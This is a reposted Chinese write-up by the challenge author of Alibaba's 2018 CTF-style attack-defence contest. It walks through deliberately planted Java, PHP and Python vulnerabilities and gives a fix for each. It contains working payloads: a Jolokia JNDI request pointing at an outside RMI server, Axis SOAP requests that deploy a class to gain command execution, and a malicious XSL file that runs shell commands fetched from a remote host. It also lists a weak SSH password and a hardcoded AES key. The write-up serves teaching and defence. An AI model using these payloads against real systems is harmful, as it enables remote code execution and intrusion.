WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛

栏目: 编程工具 · 发布时间: 6年前

内容简介:2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元

2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。

恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6 万元 奖金 (税前) ,f61d战队获得比赛第三名3 万元 奖金 (税前)

恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元 奖金 奖金 (税前)

恭喜ChaMd5/f61d/kn0ck战队的队员分别获得最佳攻防个人奖励及1万元 奖金 (税前)

(相关的奖金发放和证书邮寄下周将全部完成)

赛后有不少选手希望有本次比赛的WriteUp,所以我们让出题小哥哥写了一个出题者版本供大家参考。阿里出的题,必然是 java 居多啦。

本次比赛共分三场,第一场php+java,第二场python+java,第三场php+java。

在此放出 WriteUp 供相关队员参考:

第一场

PHP 题目

1.ImageMagic 命令注入(CVE-2016–3714)

很经典的漏洞,姿势网上有很多,就不在这里占篇幅了。

Java 题目

1.Jolokia JNDI 注入CVE-2018-1000130

在web.xml可以看到如下片段,使用了jolokia作为JMX的环境

< servlet >

< servlet-name > jolokia-agent </ servlet-name >

< servlet-class > org.jolokia.http.AgentServlet </ servlet-class >

< init-param >

< param-name > mimeType </ param-name >

< param-value > application/json </ param-value >

</ init-param >

< load-on-startup > 1 </ load-on-startup >

</ servlet >

< servlet-mapping >

< servlet-name > jolokia-agent </ servlet-name >

< url-pattern > /jolokia/* </ url-pattern >

</ servlet-mapping >

漏洞的利用可以参考下

https://xz.aliyun.com/t/2294

这篇文章,不过建议使用rmi协议而不是ldap协议,poc改成下面的,加上现场环境特意没有使用高版本的JDK,这样直接就能用 marshalsec 的构建好的jndi服务器指向下载的class内容

{

"type" : "read" ,

"mbean" : "java.lang:type=Memory" ,

"target" : {

"url" : "service:jmx:rmi:///jndi/rmi://123.123.123.123:1099/jmxrmi"

}

}

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://yourserverip:port/#classname 1099

修复方法

把jolokia在web.xml的引用给注释掉,或者升级到最新的版本编译。

2.Json 反序列化漏洞

代码位于com.alibaba.sample.petstore.web.store.module.screen.SearchProduct

public void execute (@Param( "info" ) String info , Context context , HttpServletRequest req ) throws Exception  {

if ( req . getContentType (). contains ( "json" )){

JSONObject jo = JSON . parseObject ( req . getInputStream (), com . alibaba . fastjson . JSONObject . class );

info = jo . getString ( "info" );

}

List < Product > products  = productDao . searchProductsByKeywords ( info );

context . put ( "products" , products );

}

在提交搜索的位置抓包,将ContentType改成application/json即可用json的形式提交搜索,这里使用了低版本的fastjson的包,存在反序列化漏洞能够直接获取服务器权限。

< dependency >

< groupId > com.alibaba </ groupId >

< artifactId > fastjson </ artifactId >

< version > 1.2.15 </ version >

</ dependency >

利用姿势可以参考 https://github.com/shengqi158/fastjson-remote-code-execute-poc

修复方法

可以更改pom文件使用最新的fastjson并重新编译发布。

3.SQL 注入漏洞

在搜索处抓包即可,参数info存在 SQL 注入,可以获取数据库内的flag。为了贴近真实环境,所有场次每个team所使用的数据库都是只能由这个team的应用服务器连接,即使获取到了数据库的凭据也不能在本地连接。

修复方法

找到对应的sqlmap(不是跑注入的那个)文件petstore/dal/src/main/resources/petstore/dal/sqlmap/Product.xml,将$改成#即可。

4.Java 反序列化漏洞

所有Java题目用到的框架经过配置,session信息是存在cookie里的,cookie的内容经过压缩和加密(可选)并序列化后的session对象。可以参考com.alibaba.citrus.service.requestcontext.session.encoder.AbstractSerializationEncoder的encode方法手工对cookie进行加密。

/**  编码。 */

public String  encode ( Map < String , Object > attrs , StoreContext storeContext ) throws SessionEncoderException  {

ByteArrayOutputStream baos  = new ByteArrayOutputStream ();

// 1.  序列化

// 2.  压缩

Deflater def  = new Deflater ( Deflater . BEST_COMPRESSION , false );

DeflaterOutputStream dos  = new DeflaterOutputStream ( baos , def );

try {

serializer . serialize ( assertNotNull ( attrs , "objectToEncode is null" ), dos );

} catch ( Exception e ) {

throw new SessionEncoderException ( "Failed to encode session state" , e );

} finally {

try {

dos . close ();

} catch ( IOException e ) {

}

def . end ();

}

byte [] plaintext  = baos . toByteArray (). toByteArray ();

// 3.  加密

byte [] cryptotext  = encrypt ( plaintext );

// 4. base64 编码

try {

String encodedValue  = new String ( Base64 . encodeBase64 ( cryptotext , false ), "ISO-8859-1" );

return URLEncoder . encode ( encodedValue , "ISO-8859-1" );

} catch ( UnsupportedEncodingException e ) {

throw new SessionEncoderException ( "Failed to encode session state" , e );

}

}

/**  加密。 */

private byte [] encrypt ( byte [] plaintext ) throws SessionEncoderException  {

if ( encrypter  != null ) {

return encrypter . encrypt ( plaintext );

}

return plaintext ;

}

默认是Hessian协议的序列化方式,但是考虑到这个协议的序列化漏洞利用姿势比较小众,特地在配置文件中修改成了Java的序列化,所以使用com.alibaba.citrus.service.requestcontext.session.serializer.impl.JavaSerializer即可。对应的配置文件内容:

< request-contexts:session  forceExpirationPeriod =" 14400 ">

< stores >

< session-stores:cookie-store id =" temporaryCookie ">

< cookie  name =" tmp " />

< encoders >

< session-encoders:serialization-encoder >

< session-serializers:java-serializer />

<!--<session-encrypters:aes-encrypter key="0123456789abcdef" />-->

</ session-encoders:serialization-encoder >

</ encoders >

</ session-stores:cookie-store >

</ stores >

< store-mappings >

< match  name =" * " store =" temporaryCookie " />

</ store-mappings >

< interceptors >

< session-interceptors:lifecycle-logger />

< session-interceptors:attribute-whitelist >

< attribute  name =" _csrf_token " />

< attribute  name =" _lang " />

< attribute  name =" petstoreUser " type =" com.alibaba.sample.petstore.web.common.PetstoreUser " />

< attribute  name =" petstoreCart " type =" com.alibaba.sample.petstore.dal.dataobject.Cart " />

</ session-interceptors:attribute-whitelist >

</ interceptors >

</ request-contexts:session >

本场次没有进行加密,后面对两个场次对cookie对中的内容进行了加密处理,用com.alibaba.citrus.service.requestcontext.session.encrypter.impl.AesEncrypter进行加密即可。

修复方法

配置文件的注释中有设置加密key的方法,把注释去掉随机生成一个长度16的key即可。

场次二

Python 题目

1.Flask 模板注入漏洞

也是非常经典,在此不再详细介绍。

Java 题目

1.XMLDecoder 反序列化漏洞

和weblogic的那个漏洞原理一致,位于webservice中。可以通过访问http://ip:80/contest2/services/StoreManagerWebServiceXML?wsdl通过各种 工具 解析wsdl文件来获取调用的接口,触发点为getCartItems方法中xmlstr字段。

修复方法

可以把这个接口删除,在/WEB-INF/server-config.wsdd注释掉即可,不影响其他业务。

2.Json 反序列化漏洞黑名单绕过

漏洞点同样位于webservice内,可以通过访问http://ip:80/contest2/services/StoreManagerWebService?wsdl通过各种工具解析wsdl文件来获取调用的接口,触发点为getCartItems方法中cartjsonstr字段。

可以参考下面文章的绕过姿势

https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/src/main/java/person/OtherPoC.java

使用的fastjson版本是1.2.42的,同样为了方便漏洞的利用,特意打开了autotype的开关

ParserConfig . getGlobalInstance (). setAutoTypeSupport ( true ); // 一般都不开

修复方法

可以更改pom文件使用最新的fastjson并重新编译发布。

3.Java 反序列化漏洞

可以参考第一场次,默认所有场次的加密key都是0123456789abcdef,

修复方法

可以参考场次一的修复方案。

4.Java JDWP 调试端口远程开放

默认的tomcat启动参数是开启了调试的,所以可以通过这个漏洞直接获取主机权限。

利用工具可以参考 https://github.com/IOActive/jdwp-shellifier

修复方法

在启动脚本:

catalina.sh jpda start 改为catalina.sh start即可

其他题目

SSH 弱口令admin:admin123

场次三

PHP 题目

Drupal Drupalgeddon2 (CVE-2018-7600) 

今年新出的漏洞,比较火,可以参考 https://xz.aliyun.com/t/2312

PHP-FPM 未授权访问

设置php-fpm服务的时候监听了0.0.0.0,白名单是选手应用服务器所在的网段

可以参考 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

Java 题目

1.WebService 任意部署漏洞

这个漏洞出的不是很好,因为漏洞比较老,可能大部分人都没有见过。

通过访问http://ip:80/contest3/services/AdminService?wsdl通过各种工具解析wsdl文件来获取调用的接口,通过部署任意类为一个webservice方法的形式来执行命令。数据包如下

POST /contest3/services/AdminService HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

SOAPAction: something

Upgrade-Insecure-Requests: 1

Content-Type: application/xml

Content-Length: 799

<?xml version="1.0" encoding="utf-8"?>

< soapenv:Envelope  xmlns:xsi =" http://www.w3.org/2001/XMLSchema-instance "

xmlns:xsd =" http://www.w3.org/2001/XMLSchema "

xmlns:soapenv =" http://schemas.xmlsoap.org/soap/envelope/ ">

< soapenv:Body >

< ns1:deployment

xmlns =" http://xml.apache.org/axis/wsdd/ "

xmlns:java =" http://xml.apache.org/axis/wsdd/providers/java "

xmlns:ns1 =" http://xml.apache.org/axis/wsdd/ ">

< ns1:service  name =" TestService " provider =" java:RPC ">

< ns1:parameter  name =" className " value =" com.sun.org.apache.xalan.internal.xslt.Process "/>

< ns1:parameter  name =" allowedMethods " value =" * "/>

</ ns1:service >

</ ns1:deployment >

</ soapenv:Body >

</ soapenv:Envelope >

会部署一个名为TestService的接口,实现类是com.sun.org.apache.xalan.internal.xslt.Process,其中的_main(String[])方法会在满足特定条件时会去远程加载一个xsl文件造成xslt注入导致命令执行。

POST /contest3/services/TestService HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

SOAPAction: something

Upgrade-Insecure-Requests: 1

Content-Type: application/xml

Content-Length: 799

< soapenv:Envelope  xmlns:xsi =" http://www.w3.org/2001/XMLSchema-instance " xmlns:xsd =" http://www.w3.org/2001/XMLSchema " xmlns:soapenv =" http://schemas.xmlsoap.org/soap/envelope/ " xmlns:xslt =" http://xslt.internal.xalan.apache.org.sun.com " xmlns:soapenc =" http://schemas.xmlsoap.org/soap/encoding/ ">

< soapenv:Header />

< soapenv:Body >

< xslt:_main  soapenv:encodingStyle =" http : //schemas.xmlsoap.org/soap/encoding/ ">

< argv  xsi:type =" xst:ArrayOf_xsd_string " soapenc:arrayType =" xsd:string[] " xmlns:xst =" http://127.0.0.1:8080/contest3/services/TestService ">

< cmd  xsi:type =" soapenc:string "> -xsl </ cmd >

< cmd  xsi:type =" soapenc:string "> http://123.123.123.123/cmd.xsl </ cmd >

</ argv >

</ xslt:_main >

</ soapenv:Body >

</ soapenv:Envelope >

cmd.xsl 如下

<?xml version="1.0"?>

< xsl:stylesheet  exclude-result-prefixes =" java " version =" 1.0 "

xmlns:bufferedreader =" xalan://java.io.BufferedReader "

xmlns:inputstreamreader =" xalan://java.io.InputStreamReader "

xmlns:java =" http://xml.apache.org/xalan/java "

xmlns:runtime =" xalan://java.lang.Runtime "

xmlns:str =" xalan://java.lang.String "

xmlns:xsl =" http://www.w3.org/1999/XSL/Transform ">

< xsl:variable  name =" runtime " select =" runtime:getRuntime() "/>

< xsl:template  match =" / ">

< xsl:variable  name =" command "> /bin/sh,-c,curl 10.233.66.66 -I </ xsl:variable >

< xsl:variable  name =" arguments " select =" str:split(str:new($command), ' , ' ) "/>

< xsl:value-of  select =" runtime:exec($runtime, $arguments) "/>

</ xsl:template >

</ xsl:stylesheet >

修复方法

在/WEB-INF/server-config.wsdd中将enableRemoteAdmin设置为false

2. 未授权访问漏洞

由于对该项目进行了部分的服务化改造,应用不再直接连接数据库获取信息,而是通过连接dubbo服务器的形式以RPC的形式获取。环境特意使用错误的配置将dubbo的接口对外开放,任何人都能够telnet过去执行任意接口,调用方法文档如下: http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html

数据flag放到了这个接口里,不过直接提交会出错,因为还经过了一次aes加密,在业务展示订单信息对应的方法com.alibaba.sample.petstore.web.store.module.screen.OrderList有展示:

public void execute ( Context context ) throws Exception  {

//System.out.println("call order list");

List < Order > orders = orderDao . getAllOrders ();

for ( Order o : orders ){

o . setStatus ( new String ( Aes . decryptString ( o . getStatus ())) );

}

context . put ( "orders" , orders );

}

所以找到指定数据后,调用Aes.decryptString(String)方法就可以获得flag了。

修复方法

修改iptables的入站规则,禁止20880端口访问。或者在配置文件中新增dubbo.protocol.host=127.0.0.1

阅读原文 ”至ASRC提交安全漏洞及情报

长按扫描关注ASRC,关注后续精彩活动!

↓↓↓↓↓↓↓↓↓↓↓↓↓

WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛


以上所述就是小编给大家介绍的《WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

第三次工业革命

第三次工业革命

[美] 杰里米•里夫金(Jeremy Rifkin) / 张体伟 / 中信出版社 / 2012-5 / 45.00元

第一次工业革命使19世纪的世界发生了翻天覆地的变化 第二次工业革命为20世纪的人们开创了新世界 第三次工业革命同样也将在21世纪从根本上改变人们的生活和工作 在这本书中,作者为我们描绘了一个宏伟的蓝图:数亿计的人们将在自己家里、办公室里、工厂里生产出自己的绿色能源,并在“能源互联网”上与大家分享,这就好像现在我们在网上发布、分享消息一样。能源民主化将从根本上重塑人际关系,它将影响......一起来看看 《第三次工业革命》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具